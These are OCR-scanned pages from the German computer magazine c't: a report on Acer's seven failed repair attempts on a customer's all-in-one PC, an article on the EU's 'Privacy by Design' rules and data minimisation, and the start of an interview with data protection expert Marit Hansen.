(216 dpi) / 16:10 (282 dpi) / 16:10 
19... 462 cd/m? / 12... 282 cd/m? / 
79% 84% 

®/o ®8/® 
oO/O ®/® 

0/® ®/© 

1 Jahr 2 Jahre 

16 GByte (140 €), - 

ohne Werbung 

(15 € Aufpreis) 

120€ 180€ 


Straßenpreis 
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Report | Service & Support 


Georg Schnurer 


Mach’s noch einmal, Acer 


Fruchtloser Reparatur-Marathon 


Nimmt ein Hersteller einen Reparatur- 
auftrag an und kassiert den veran- 
schlagten Lohn, darf man als Kunde 
auch erwarten, dass die Reparatur 
erfolgreich ausgeführt wird. 

Doch das klappt nicht immer - 

hier ein besonders krasser Fall. 


nfang 2010 kaufte sich Michael L. aus 

Berlin einen Acer Z 5610. Der All-in-One- 
PC sollte Dienst in seinem Büro tun, ohne 
viel Platz zu beanspruchen. Prinzipiell war 
Herr L. mit dem Gerät zufrieden: Auch vier 
Jahre nach dem Kauf war es den Anforde- 
rungen des Büroalltags noch gewachsen. 
Doch dann, im April 2014, gab es immer 
öfter Probleme: Der Rechner schaltete sich 
während der Arbeit unvermittelt ab. Alle bis 
dato eingegebenen Daten waren futsch. Ein 
unhaltbarer Zustand, befand Michael L. und 
fragte bei Acer nach, was man da machen 
könne. 

Der Acer-Support forderte den Kunden am 
28. April 2014 auf, das Gerät gut verpackt an 
das Acer-Repair-Center in Ahrensburg zu sen- 
den. Vorsorglich hatte Michael L. den Origi- 
nalkarton aufbewahrt. Darin ging der Z 5610 
an Acer und traf dort am 14. Mai ein. Fünf 
Tage später meldete sich Acer per E-Mail: Die 
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Bearbeitung des Geräts sei abgeschlossen, 
der Kunde werde seinen Rechner in Kürze 
wieder zurückbekommen. 

Voller Freude nahm Michael L. am 26. Mai 
den Rechner entgegen. Allerdings war das 
Gerät nicht mehr im Originalkarton, sondern 
in einer Ersatzverpackung. Der Originalkar- 
ton sei, so erfuhr der Kunde auf 
Nachfrage, beim Transport beschä- 
digt worden. Nun denn, frohen 
Mutes packte Herr L. den Rechner 
aus und las verwundert den Repa- 
raturbericht: Man habe keinen Feh- 
ler festgestellt. Der Service hatte 
laut Protokoll ein Schadprogramm 
entfernt, den Rechner gereinigt 
und 48 Stunden lang im Dauertest 
laufen lassen. Sollte da wirklich 
nur ein Software-Fehler vorlie- 
gen? Ein kurzer Test des Geräts 
sorgte für Ernüchterung: Der Rechner schal- 
tete sich wieder mehrfach einfach so ab. 

Nachdem Michael L. erneut die Service- 
Hotline kontaktiert und auf deren Anwei- 
sung das Betriebssystem neu installiert 
hatte, sah der Hotliner keine andere 
Möglichkeit, als das Gerät erneut zum Ser- 
vice zu senden. So ging der Z 5610 am 
26. Mai zum zweiten Mal auf die Reise nach 
Ahrensburg. Am 5. Juni traf er im Service- 
Center ein und fünf Tage später landete ein 


© copyright by Heise Zeitschriften Verlag 


VOR 
SICHT 
KUNDE: 


Kostenvoranschlag per E-Mail beim Kunden: 
Mainboard und Netzteil müssten getauscht 
werden, um den Fehler zu beheben. Das 
Ganze sollte 242,53 Euro kosten. Sofort be- 
stätigte Michael L. den Reparaturauftrag. 
Per UPS-Nachnahme zahlte der Kunde am 
20. Juni seine Rechnung und packte freudig 
den PC aus. Leider schaltete sich der Rechner 
beim ersten Test schon nach we- 
nigen Minuten wieder ab. Die Re- 
paratur war also erfolglos geblie- 
ben. Erneut wurde reklamiert und 
so trat der Rechner am 23. Juni 
wieder den Weg zu Acer an. 


Schrott in der Kiste 


Als das gute Stück dann am 7. Juli 
bei Michael L. ankam, traute er sei- 
nen Augen nicht: Die beiden Stand- 
füße waren abgebrochen und der 
Rechner deshalb nicht nutzbar. Wieder kon- 
taktierte der Kunde die Acer-Hotline und 
man einigte sich darauf, dass der PC auf 
seine nunmehr vierte Reise nach Ahrensburg 
gehen sollte. 

Es folgte ein Kostenvoranschlag über 
59 Euro für die Gehäusereparatur. Dem 
widersprach der Kunde; schließlich hatte er 
den Schaden nicht zu vertreten. Acer hatte 
ein Einsehen und reparierte den Schaden auf 
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eigene Kosten. So trudelte der Z 5610 am 
31. Juli wieder beim Kunden ein. Doch schon 
beim Auspacken ärgerte sich Michael L. er- 
neut über Acer: Die Funktastatur fehlte. Nach 
Protest bei der Hotline lieferte Acer das Key- 
board nach - freilich ohne Batterien, doch 
über solche Kleinigkeiten wollte sich der 
Kunde nicht mehr aufregen. Hauptsache, der 
Rechner geht wieder. 

Doch das altbekannte Fehlerbild trat sofort 
erneut auf: Schon nach kurzer Nutzung schal- 
tete sich der Z 5610 unvermittelt ab. Der ur- 
sprüngliche Fehler war also nach wie vor vor- 
handen. Es folgte die Reparaturreise Nummer 
fünf. Am 11. August war der PC wieder da, 
zeigte aber immer noch den gleichen Fehler. 

Schweren Herzens willigte Michael L. ein, 
den PC ein sechstes Mal an Acer zu schicken. 
Das Gerät kam beschädigt bei Acer an, wes- 
halb das Reparaturzentrum erneut einen 
Kostenvoranschlag an den Kunden schickte. 
Dem widersprach Michael L. sofort; schließ- 
lich hatte er den Rechner korrekt verpackt an 
Acer gesendet. Nach einigem Hin und Her 
versprach Acer eine kostenlose Reparatur 
des Geräts. 

So stand der Lieferdienst am 20. Oktober 
2014 erneut mit einem Paket in der Hand vor 
der Tür des Kunden. Der nahm das Gerät 
ohne große Erwartungen entgegen und 
stellte schon beim Auspacken fest, dass Acer 
seine Funk-Maus einbehalten hatte. Ein 
schneller Test zeigte: Der ursprüngliche Feh- 
ler war nach wie vor vorhanden. 

Frustriert wandte sich Michael L. erneut an 
Acer, reklamierte die fehlende Maus und wies 
auf den immer noch vorhandenen Fehler hin. 
Somit ging der Z 5610 auf seine nunmehr sie- 
bente Reise nach Ahrensburg. Von dieser 
kehrte er kurze Zeit später zurück. Schon der 
Reparaturbericht machte Michael L. wütend: 
Man habe keinen Fehler feststellen können, 
behauptete das Acer-Repair-Center. 


Genug jetzt! 


Jetzt hatte Michael L. endgültig die Nase voll: 
Vor gut einem halben Jahr hatte er Acer sei- 
nen dringend benötigten Rechner zur Repa- 
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ratur übergeben und auch im siebten Anlauf 
war es dem Unternehmen nicht gelungen, 
den bei ihm einfach zu reproduzierenden 
Fehler zu beheben. Er wollte, so schrieb er in 
seiner Mail an die c’t-Redaktion, den Fall nun 
gerichtlich klären lassen und den PC an einen 
Gutachter übergeben. Wir einigten uns 
darauf, dass das nach wie vor originalver- 
schlossene Paket mit dem Rechner einen 
Umweg über das c’t-Labor machen sollte, 
damit wir den PC in Augenschein nehmen 
konnten. 

Schon beim Auspacken des Rechners ahn- 
ten wir Böses: Im Gerät klapperten deutlich 
hörbar mehrere Teile herum. Zudem war das 
Gehäuse anscheinend nicht korrekt ver- 
schraubt, da ein Teil der Frontabdeckung 
nicht bündig mit der Rückwand abschloss. 
Wir begaben uns also erst mal auf die Suche 
nach den im Gehäuse herumklappernden 
Komponenten. Eine Schraube konnten wir 
nach der Demontage der hinteren Blenden 
aus dem Gerät herausschütteln. Dabei stell- 
ten wir fest, dass bei beiden Blenden die un- 
teren Halteklammern abgebrochen waren - 
kein Wunder also, das das Gehäuse nicht 
dicht schloss. 

Die weiteren losen Teile wollten nicht so 
leicht herauskommen. So begannen wir, das 
Gerät Stück für Stück zu zerlegen. Dabei ver- 
stärkte sich immer mehr das Gefühl, dass der 
Rechner nicht von Fachleuten, sondern eher 
von Berserkern zusammengeschraubt wor- 
den war: Die Laschen der silberfarbenen Ab- 
deckungen waren eingerissen - vermutlich 
hatte jemand einen Akkuschrauber mit 
falsch eingestelltem Drehmoment genutzt, 
um die winzigen Schrauben festzuziehen. 


Zerstört 


Auch die Netzteil-Abdeckung war beschä- 
digt; hier war eine Haltenase ausgebrochen. 
Je weiter wir uns vorarbeiteten, desto schlim- 
mer wurde es: So waren an der hinteren Ab- 
deckung beide Verschraubungen komplett 
ausgerissen. Zudem waren die Gewinde be- 
schädigt - anscheinend hatte man versucht, 
mit Gewalt viel zu große Schrauben einzuset- 
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zen. Dabei war am Gehäuse deutlich mar- 
kiert, dass an dieser Stelle Schrauben des 
Typs M2,5x6 zu verwenden sind und keine 
normalen PC-Schrauben mit B-Gewinde. 

Letztlich operierten wir eine der abgebro- 
chenen Plastikklammern sowie drei Schrau- 
ben aus dem Gerät, eine davon aus dem 
Netzteil. Nach dem Einschalten des Geräts 
beschwerte sich Windows zunächst, dass das 
System nicht korrekt heruntergefahren wor- 
den war. Beim allfälligen Neustart des Sys- 
tems fuhr Windows anscheinend korrekt 
hoch, doch der Bildschirm blieb schwarz. 
Weitere Versuche mit dem defekten Rechner 
unternahmen wir nicht. Schließlich war be- 
reits jetzt klar, dass es bei Acer keinen echten 
Funktionstest gegeben haben kann. Andern- 
falls wären die losen Teile im Gerät und das 
nicht funktionierende Display unter Win- 
dows aufgefallen. 


Nachgefragt 


Angesichts dieser desaströsen Serviceleis- 
tung baten wir Alexandra Böckelmann, Pres- 
sesprecherin bei Acer, um eine Stellungnah- 
me. Das brachte sofort Bewegung in den Fall: 
Bereits wenige Tage nach unserer Anfrage 
meldete sich Steffen Voigt, Supervisor Ser- 
vice Operation bei der Abteilung Legal Af- 
fairs von Acer, beim Kunden. Man vereinbar- 
te, dass Acer Herrn L. als Ersatz für das defek- 
te Gerät einen neuen All-in-One-PC von Typ 
Acer Aspire Z3-615 zusenden werde. Da der 
ursprünglich gekaufte Rechner ein Blu-ray- 
Laufwerk besaß, wird Acer den neuen PC 
entsprechend aufrüsten. Mit dieser Lösung 
war Michael L. einverstanden, auch wenn das 
neue Gerät keinen DVB-T-Empfänger mehr 
mitbringt. Diese Funktion hatte er im Büro 
ohnehin nie genutzt. 

Ende gut, alles gut? Beinahe, denn weni- 
ge Tage später entdeckte Michael L. auf sei- 
nem Konto eine Gutschrift in Höhe von 
242,53 Euro. Anscheinend hatte Acers Buch- 
haltungsabteilung beschlossen, dem Kun- 
den die gezahlten Reparaturkosten zu er- 
statten. Dieser Schritt blockierte allerdings 
die bereits angestoßene Lieferung eines Er- 
satzgeräts. Letztlich ließ sich aber auch die- 
ses Malheur durch manuellen Versand des 
neuen PC beseitigen. Somit ist aus Sicht des 
Kunden nun wirklich alles gut. 

Doch wie konnte es überhaupt zu so einer 
Service-Panne kommen? Die Stellungnahme 
von Acer ist hier wenig erhellend: Man 
nehme seine Verantwortung für den Service 
sehr ernst und bedauere die großen Unan- 
nehmlichkeiten des Kunden, ließ uns das Un- 
ternehmen wissen. Zudem werde man den 
Fall genau analysieren, um derartige Einzel- 
fälle in Zukunft zu vermeiden. (95) 


Berserker am Werk: Abgebrochene Halte- 
klammern, ausgerissene Befestigungs- 
ösen, zerstörte Halterungen und drei im 
Gehäuse rumfliegende Metallschrauben - 
das Fazit unserer Geräteanalyse hätte 
kaum schlechter ausfallen können. ct 
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Christiane Schulzki-Haddouti 


Datensparsamkeit leben 


Datenschutz-Grundverordnung der EU mischt die Karten neu 


Die kommende Datenschutz-Grundverordnung der EU verlangt „Datenschutz 
durch Technik“. Das könnte vieles fundamental ändern: Nicht nur Amazon oder 
Google kümmern sich bislang nicht um den Datenschutz als technische Funktion, 
auch Standardisierungsvorhaben nehmen darauf keine Rücksicht. Neue Technik 
soll nicht nur mehr Sicherheit, sondern auch mehr Privatsphäre bringen. 


rtikel 23 der kommenden europäischen 

Datenschutz-Grundverordnung bedeu- 
tet eine kleine Revolution im Datenschutz- 
recht: Privacy by Design wird dort vorge- 
schrieben. Datenschutz muss also künftig 
schon beim Design eines Systems eingebaut 
werden. Schon jetzt legt das Datenschutz- 
recht den Umgang mit personenbezogenen 
Daten fest - jedoch erst dann, wenn diese 
bereits erfasst sind. Obgleich die Datenspar- 
samkeit, also das Gebot, nur wirklich not- 
wendige Daten zu erfassen, im Bundes- 
datenschutzgesetz (BDSG) rechtlich vor- 
gegeben ist, spielt sie in der Praxis kaum eine 
Rolle. Für den Fall, dass mehr Daten als 
unbedingt benötigt erfasst und genutzt wer- 
den, gibt es keine Sanktionen. 

Setzt sich der neue Ansatz durch, müssen 
IT-Systeme von vornherein so gestaltet wer- 
den, dass sie die Datenschutzprinzipien, ins- 
besondere den Grundsatz der Datensparsam- 
keit, praktisch verkörpern. Die Aufsichts- 
behörden würden dann prüfen, ob alle Da- 
tenschutzprinzipien angemessen umgesetzt 
wurden, wobei vor allem ein Katalog von 
Best-Practice-Grundsätzen Maßstäbe setzen 
würde. Mit Sanktionen könnte die Einhaltung 
der neuen Maßgaben erzwungen werden. 

Noch ist die Verordnung nicht verabschie- 
det, der Weg dorthin ist steinig. Im euro- 
päischen Gesetzgebungsprozess macht die 
Kommission den Aufschlag, das Parlament 
folgt mit einem korrigierten Entwurf, der 
dann in den Rat der Mitgliedstaaten einge- 
bracht wird, der wiederum Änderungen vor- 
nimmt. Im Trilog zwischen den drei Institu- 
tionen bis voraussichtlich Ende 2015 wird die 
letztgültige Fassung ausgehandelt. 

Die EU-Kommission sah in ihrem Entwurf 
von 2012 den „Datenschutz durch Technik” 
als Ergänzung bestehender Rechte vor, aber 
präzisierte ihn nicht weiter. „Die Vorgaben 
waren so dehnbar und interpretierbar, dass 
aus der Industrie keine Ablehnung kam“, er- 
innert sich der grüne Europaabgeordnete 
Jan Philipp Albrecht. Die Industrie erwartete, 
dass „Datenschutz durch Technik“ letztlich 
durch ihre eigene Praxis bestimmt werden 
würde. Doch mit den Präzisierungen im 
nachfolgenden Parlamentsentwurf, für die 
Albrecht als Berichterstatter verantwortlich 
war, änderte sich das gravierend. Denn die- 
ser führt nun explizit aus, dass nicht mehr 
personenbezogene Daten genutzt werden 
dürfen als „unbedingt nötig“. Auch dürfen 
sie nicht länger als für diese Zwecke „unbe- 
dingt erforderlich“ gespeichert werden. Hier- 
für müssen die Datenverarbeiter „neueste 
technische Errungenschaften“, den „Stand 
der Technik” sowie „international bewährte 
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Verfahren“ berücksichtigen. Dabei müssen 
sie die von der Datenverarbeitung ausge- 
henden Risiken einbeziehen. Ein wesentli- 
cher Anreiz für die Umsetzung soll sein, dass 
„Datenschutz durch Technik“ künftig bei 
staatlichen Ausschreibungen als „Vorausset- 
zung für Angebote“ gelten soll. 

Was aber ist der „Stand der Technik“ und 
wer definiert ihn? Während die Kommission 
diesen nach Anhörungen mit den Beteiligten 
noch selbst über Guidelines anhand von 
Best-Practice-Beispielen definieren wollte, 
die wiederum über einen Rechtsakt imple- 
mentiert werden sollten, schlug das Parla- 
ment vor, dass die Datenschutzbehörden die 
Guidelines in dem neu zu schaffenden Da- 
tenschutz-Ausschuss verabschieden sollen, 
in dem sich alle europäischen Aufsichtsbe- 
hörden abstimmen. Sie können dann der 
Kommission wiederum empfehlen, diese 
rechtsverbindlich zu machen. 

Gegen die Vorgaben des Parlaments regt 
sich jetzt aber Widerstand, der sich im ak- 
tuellen Vorschlag des Rats der Mitgliedstaa- 
ten widerspiegelt, der allerdings noch intern 
diskutiert wird: Die Rede ist nicht mehr vom 
„Stand der Technik“, sondern von „verfügba- 
ren Technologien”, wobei die Implementie- 
rungskosten berücksichtigt werden dürfen. 
Auch müssen die Maßnahmen „angemes- 
sen“ entsprechend den Risiken der Betroffe- 
nen und dem definierten Zweck durchge- 
führt werden. „Damit wird aus der Vorgabe, 
Datenschutz durch Technik zu implementie- 
ren, lediglich eine Bitte, auf die Einhaltung 
der Regeln zu achten“, meint Albrecht. Die 
Idee von Privacy by Design werde „total ver- 
wässert“. Im kommenden Trilog wird das Par- 
lament daher auf seinen Formulierungen be- 
harren. 


Datensparsamkeit 
und Zweckgebundenheit 


Falls die Vorgabe „Privacy by Design“ umge- 
setzt wird, werden viele Geschäftsmodelle 
unmöglich, an die wir uns gewöhnt haben. 
Amazon beispielsweise speichert alle Käufe 
eines Kunden seit der Aufnahme der Ge- 
schäftsbeziehung. Erlaubt ist das, weil Ama- 
zon in seiner Datenschutzerklärung wie vom 
Gesetzgeber gefordert Transparenz herstellt 
und den Kunden darüber informiert, dass 
seine Daten für den Empfehlungsmechanis- 
mus verwendet werden. 

Die Luxemburger Datenschutz-Aufsichts- 
behörde lässt bislang zu, dass die Daten über 
Käufe komplett gespeichert werden. Dabei 
wäre durchaus überlegenswert, ob nicht auch 
die Daten eines Jahres oder der letzten 20 Ein- 
käufe für den Empfehlungsmechanismus ge- 
nügen würden. Diese Problematik findet sich 
in allen Big-Data-Ansätzen wieder, sobald per- 
sonenbezogene Daten ins Spiel kommen, 
etwa beim Web-Tracking, das mit Datenspar- 
samkeit grundsätzlich unvereinbar ist. 

In der Praxis spielt „Privacy by Design” bei 
in Deutschland und Europa entwickelter 
Technik nur eine kleine Rolle. Die europäische 
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Schulkommunikation mit Pseudonymen 


An der Norrtull-Schule im schwedischen Söderhamn wurde im Rahmen 
eines ABC4Trust-Pilotprojekts ein Schulkommunikationssystem installiert, 
das die Verwendung diverser Pseudonyme durch eine Person und die 
Einrichtung besonders geschützter Bereiche erlaubt. 
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IT-Sicherheitsbehörde ENISA stellt in ihrem 
Mitte Januar veröffentlichten Bericht „Privacy 
and Data Protection by Design - from policy 
to engineering” fest, dass Datenschutz-Erwä- 
gungen bislang ignoriert werden. 


Internationale Anschlussfähigkeit 


Den Grund hierfür sieht sie vor allem darin, 
dass Entwickler sowie Firmen und Institutio- 
nen, die Daten verarbeiten, das Problem nur 
„begrenzt wahrnehmen und verstehen“. 
Zudem seien die Wissenschaftler, die sich 
schon länger mit „Privacy by Design” aus- 
einandersetzen und ständig weitere Bau- 
steine dafür entwickeln, nur unzureichend 
mit der Praxis vernetzt. Viele Entwickler wür- 
den daher neue Privacy-Techniken schlicht 
nicht kennen. Es fehlten zudem Anreize für 
die Umsetzung sowie Sanktionen bei Nicht- 
Umsetzung. 

Standards sind für die Durchsetzung eines 
technischen Datenschutzes von zentraler Be- 
deutung. Der in Deutschland und der Schweiz 
entwickelte HbbTV-Standard erlaubt es bei- 
spielsweise, das Fernsehbild mit Informatio- 
nen aus dem Internet anzureichern. Mit seiner 
Hilfe können Fernsehsender auch die Daten 
für die Nutzung der Zusatzdienste mit Web- 
analysediensten auswerten, ohne dass der 
Nutzer eines smarten Fernsehers das unter- 
binden kann. Dabei werden die Daten nicht 
anonymisiert, sondern mit dem Benutzer- 
Account des Anwenders verknüpft. 

Aus dem an der Standardentwicklung 
maßgeblich beteiligten Institut für Rundfunk- 
technik (IRT), dem zentralen Forschungsinsti- 
tut der öffentlich-rechtlichen Rundfunkanstal- 
ten, ist zu hören, dass Datenschützer an der 
Entwicklung nicht beteiligt waren - und es 
auch wohl weiterhin nicht sind. Man habe zu- 
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nächst Wert darauf gelegt, einen „internatio- 
nal anschlussfähigen Standard“ zu entwickeln, 
wobei man davon ausging, dass die Hersteller 
und Sender, die beide Zugriff auf die Daten 
haben, sich dann bei der Umsetzung an das 
jeweilige nationale Recht halten. 

Erst nach mehreren Untersuchungen der 
Technischen Universität Darmstadt, der c't 
und der Stiftung Warentest, die zahlreiche 
Rechtsverstöße aufzeigten [1], zeigt man sich 
im IRT etwas aufgeschlossener. So soll eine 
neue Version „ein paar für den Datenschutz 
relevante Funktionen festlegen“. Die Herstel- 
ler der HbbTV-Geräte müssen Kontrollmög- 
lichkeiten seitens des Nutzers aber selbst 
implementieren. 


Kein anonymes Tanken 


Eine ähnliche Situation herrscht bei den Elek- 
troautos: Das in Deutschland entwickelte 
ISO-Protokoll 15118 sorgt dafür, dass das 
Fahrzeug an der Stromzapfsäule mit einer ID- 
Nummer angemeldet und die Stromliefe- 
rung automatisch abgerechnet wird. Doch 
weil das Protokoll nicht auf Datensparsam- 
keit optimiert ist, können die Stromversorger 
erfahren, wer wann wo lädt. 

Das Bundeswirtschaftsministerium fördert 
ein Projekt namens SecMobil, das sich mit 
Datenschutz und IT-Sicherheit befasst. Hier 
werden manipulationsresistente Ladesäulen 
gebaut, die unter anderem die Identifikation 
eines Nutzers durch den neuen Personalaus- 
weis sowie andere Bezahlarten wie Prepaid- 
Karten unterstützen sollen. Von einem Pro- 
jektteilnehmer ist allerdings zu hören, dass 
die Ergebnisse wegen „Praxisferne” wohl 
künftig keine Rolle spielen werden. Eine 
Implementierung der notwendigen techni- 
schen Maßnahmen sei zu aufwendig. 
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Tim Güneysu, Professor am Horst-Görtz-In- 
stitut für IT-Sicherheit, sagt, das Hauptpro- 
blem liege darin, dass für fast alle Ingenieure 
und Betreiber im Bereich der Elektromobilität 
die funktionalen Probleme im Vordergrund 
stehen, also die Reichweite der Batteriela- 
dung, ihre Lebensdauer und die Dauer des 
Ladevorgangs. Güneysu: „Selbst wenn wir bei 
diversen Treffen mit einigen Mühen den Kon- 
sens erreicht haben, dass Datenschutz aus 
zwingenden Gründen unumgänglich ist, wird 
doch noch erwartet, dass er eigentlich bei der 
Implementierung nichts extra kosten darf - 
und schon gar nicht viel.“ 

Die Bundesdatenschutzbeauftragte An- 
drea Voßhoff ist mittlerweile in die „Nationale 
Plattform Elektromobilität” integriert - aber 
lediglich in einer Unterarbeitsgruppe. Ange- 
sichts dessen, dass Datenschutz offiziell als 
Querschnittsaufgabe begriffen wird, dürfte 
das nicht reichen. Rechtsexperten wie Volker 
Lüdemann und Eva Weis sind sich überdies 
einig, dass der deutsche Gesetzgeber hin- 
sichtlich des Datenschutzes mit bereichsspe- 
zifischen Regelungen etwa im Energiewirt- 
schaftsgesetz nachbessern muss. Weis betont 
auch, dass „ein Konzept des prozessbezoge- 
nen technischen Datenschutzes bei den Ak- 
teuren des Marktes” noch fehle. Privacy by 
Design spiele in der Debatte um die Ladesäu- 
len-Architektur noch immer keine Rolle. 


Tradition versus Innovation 


Als problematisch gilt auch der jetzt disku- 
tierte europäische Standard zum Austausch 
von Daten im Rahmen der grenzüberschrei- 
tenden Identifikation und Authentisierung 
(eIDAS), der das deutsche Signaturgesetz er- 
setzen soll. Die elDA-Verordnung soll dafür 
sorgen, dass Deutsche im europäischen Aus- 
land die Signaturfunktionen des neuen Per- 
sonalausweises nutzen können. In der eIDAS- 
Grundverordnung ist zwar von „Privacy by 
Design” die Rede, doch wird gleichzeitig ein 
„Minimum Set“ an Personendaten verlangt. 
Dafür werden Vorname, Nachname, Geburts- 
datum und Geburtsort vorgeschlagen. 

Die Informatikerin und stellvertretende 
schleswig-holsteinische Landesdatenschüt- 
zerin Marit Hansen sagt: „Dieses Vorgehen ist 
traditionell durchaus verständlich, aber für 
ein Privacy-enhancing Design wären andere 
Möglichkeiten denkbar, die Eindeutigkeit ga- 
rantieren, wie etwa kontextspezifische Iden- 
tifier, bei denen abgesicherte Aufdeckungs- 
möglichkeiten denkbar sind.” Der neue Per- 
sonalausweis besitzt durch die Fähigkeit, 
Pseudonyme zu nutzen, bereits solche Mög- 
lichkeiten. 

Ein erweiterter Ansatz, das Konzept der 
„attributbasierten Berechtigungsnachweise" 
(ABC), wird unter anderem in dem vor weni- 
gen Tagen veröffentlichten ENISA-Bericht zu 
Privacy by Design vorgestellt, der eine Reihe 
von anwendbaren Privacy-Techniken auflistet, 
die als Stand der Technik gelten dürfen. Wei- 
tere Kapitel beschäftigen sich mit der Absi- 
cherung privater Kommunikation durch Ver- 
schlüsselung und der Pseudonymisierung. 
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Amazon Deutschland speichert Daten über Einkäufe zurück bis 1998, 
dem Jahr, als Amazon hierzulande an den Start ging. 


Mit dem ABC-Konzept kann der herkömm- 
liche Widerspruch zwischen Anonymität und 
Vertrauenswürdigkeit aufgelöst werden, der 
bislang in der Praxis die Etablierung vieler 
datenschutzfreundlicher Anwendungen blo- 
ckiert. So kann sich ein Kommunikationspart- 
ner beim Vorlegen des Nachweises nicht 
über einen Namen, sondern über Attribute 
authentifizieren. Attribute sind Eigenschaf- 
ten, wobei von Fall zu Fall unterschiedliche 
Eigenschaften abgefragt werden. Für einen 
Volljährigkeitsnachweis muss nicht das Ge- 
burtsdatum und schon gar nicht der Name 
genannt werden. Hier interessiert nur die Tat- 
sache, ob der Betreffende älter als 18 ist. Ab- 
gefragt werden können bei Bürgerbeteili- 
gungsprojekten etwa nur Wohnbereiche. 


Flexible Berechtigungsnachweise 


Weitere mögliche Eigenschaften eines Be- 
rechtigungsnachweises wären etwa ein Sta- 
tus wie „Schüler“, „Student“ oder „Rentner” 
für diverse Vergünstigungen. Der Ausweis 
ändert sich also von Fall zu Fall entsprechend 
der relevanten Abfragekriterien, wenn sein 
Besitzer ihn vorlegt. Die heutigen IT-Systeme 
sehen aber in der Regel einen Identifier, also 
eine feste Kennung, vor und ermöglichen so 
Datenaggregation, Profilbildung und Verket- 
tung - und damit die Überwachbarkeit des 
Einzelnen. Mit den attributbasierten Berech- 
tigungsnachweisen wäre hingegen „eine ge- 
nerelle Nichtverkettbarkeit als Basis" gege- 
ben, versichert Marit Hansen. Die Nichtver- 
kettbarkeit gehört wie die Transparenz und 
Intervenierbarkeit zu den Schutzzielen des 
Datenschutzes, ähnlich wie Integrität, Ver- 
traulichkeit und Verfügbarkeit die Schutz- 
ziele von IT-Sicherheit sind. 

Mit dieser Technik könnte man verschie- 
dene Pseudonyme bei verschiedenen Diens- 
ten verwenden. So könnte man einen Be- 
zahldienst mit Dienstleistungen koppeln, 
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ohne dass der Anbieter erfährt, wer sein Käu- 
fer ist, meint Hansen. Die heutigen Scoring- 
Systeme, auf die fast alle großen Online- 
Shops zurückgreifen, arbeiten aber noch 
stets mit Vor- und Nachnamen. 

Die attributbasierten Berechtigungsnach- 
weise sehen auch die Möglichkeit zur Auf- 
deckung der Identität für Bereiche vor, in 
denen dies rechtlich vorgeschrieben ist. An 
schwedischen Schulen etwa steht dies in 
Schulkommunikationssystemen bei Mob- 
bing-Fällen dem Direktor zu. Damit das Auf- 
decken nicht zum Standardfall wird, muss 
dokumentiert werden, wann wer und aus 
welchem Grund auf die Identität zugegriffen 
hat. Am besten geschieht dies verteilt auf 
mehrere Rollen. Nur wenn wirklich aufge- 
deckt werden muss, kommen Schlüssel und 
einzelne hinterlegte Datensätze zusammen. 
Auch müssen Bereiche definiert werden kön- 
nen, in denen es keine Aufdeckungsmöglich- 
keiten gibt - und Nutzer müssen diese Berei- 
che unterscheiden können. 

Die meisten Standards beherrschen ein 
solches Identitätsmanagement noch nicht, 
weiß Marit Hansen. Sie betont: „Heimliche 
Hintertüren darf es aber nicht geben: Die 
Technik und die organisatorischen Prozesse 
müssen so gestaltet werden, dass Aufdecken 
die Ausnahme ist, in jedem Einzelfall nach- 
vollziehbar begründet wird und die Betroffe- 
nen davon erfahren.“ Das wäre ein Fortschritt 
gegenüber dem Status quo. Heute können 
Service-Betreiber in der Regel sofort auf alle 
Identitätsdaten zugreifen, auch können die 
Datenbanken Angreifern in die Hände fallen 
oder einfach beschlagnahmt werden. (uma) 
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Datenschutz als Grundprinzip 


Neustart mit „Privacy by Design” 


Mit der neuen EU-Datenschutzgrund- 
verordnung sollen die Karten neu 
verteilt werden. Datenschutz müsste 
dann künftig schon beim Design der 
Systeme mitgedacht werden. 


er „Privacy by Design” implementierter 

Datenschutz spielt in der Praxis bislang 
nur eine marginale Rolle. Im Interview erklärt 
die Informatikerin und Datenschützerin Marit 
Hansen die Gründe dafür, warum so wenige 
IT-Systeme datenschutzfreundlich ausgelegt 
sind, und skizziert mögliche Lösungen. 


c't: Wie kommt es, dass in Deutschland maß- 
geblich entwickelte Standards für das digitale 
Fernsehen, HbbTV oder das Abrechnungs- 
modell für das Tanken von Elektroautos keinen 
Datenschutz kennen? 


Marit Hansen: Hauptsächlicher Grund ist ver- 
mutlich Unkenntnis der Datenschutz-Prinzi- 
pien, die hier verankert werden sollten. Stan- 
dardisierungsgremien betonen, dass das Be- 
folgen ihrer Standards nicht die Umsetzung 
des jeweils gültigen Rechts ersetzen darf. 
Jede verantwortliche Stelle muss also 
weiterhin für einen rechtskonformen Einsatz 
des IT-Systems Sorge tragen. Wenn bei- 
spielsweise beim Standard zum Abrechnen 
der Elektroauto-Aufladung von einer Kunden- 
ID die Rede ist, müssen trotzdem die jeweils 
gültigen Gesetze für die Verarbeitung perso- 
nenbezogener Daten eingehalten werden, 
etwa durch einen Kundenvertrag. 


c't: Das ist der rechtliche Status Quo. Was aber 
würde Privacy by Design für das Tanken von 
Elektroautos bedeuten? 


Hansen: Privacy by Design geht darüber 
hinaus. Besser wäre es, wenn diese „Kunden- 
ID“ sich beispielsweise jedes Mal ändern 
würde oder sehr viele Personen hinter einer 
Kennung stehen könnten. Beides würde einer 
Verkettung und Profilbildung entgegen- 
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und arbeitet seit 
Ende der 90er Jahre 
in diversen Privacy- 
Projekten wie etwa 
AN.ON, PRIME oder 
ABCATrust mit. 
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wirken. Die meisten Entwickler würden beim 
Lesen des Begriffs „Kunden-ID“ allerdings an 
eine eindeutig einem Kunden zugeordnete, 
über einen längeren Zeitraum wieder- 
verwendete Kennung denken, statt daten- 
sparsamere Modelle zu realisieren. 


c't: Gerne wird bei Standards wie HbbTV 
die „internationale Anschlussfähigkeit” betont, 
um auf Datenschutzfunktionen zu verzichten. 
Ist das Argument stichhaltig? 


Hansen: „Privacy by Design"-Prinzipien sind 
weit über europäisches Recht hinaus aner- 
kannt, etwa in den Global Privacy Standards 
und dem ISO/IEC-Standard 29100. Und 
genau diese Prinzipien müssten sehr viel 
mehr in technischen und rechtlichen Nor- 
men berücksichtigt werden. Entsprechend 
sollten bei jedem Standard Datenschützer, 
gerne auch Verbraucherschützer, Technik- 
folgenabschätzer oder Ethiker beteiligt wer- 
den. Das ist allerdings ressourcenintensiv 
und wäre im Augenblick von den meisten 
Datenschutzbehörden nicht zu leisten. 


c't: Wo konnte sich Privacy by Design bereits 
durchsetzen? 


Hansen: Vollständig durchsetzen? Nicht wirk- 
lich. Es gibt aber schon Good und Best Prac- 
tices: Bei Medizindaten wird oft schon beim 
Entwickeln auch besonderer Wert auf Erfül- 
lung von Datenschutzanforderungen gelegt, 
etwa durch geeignete Zugriffsbeschränkun- 
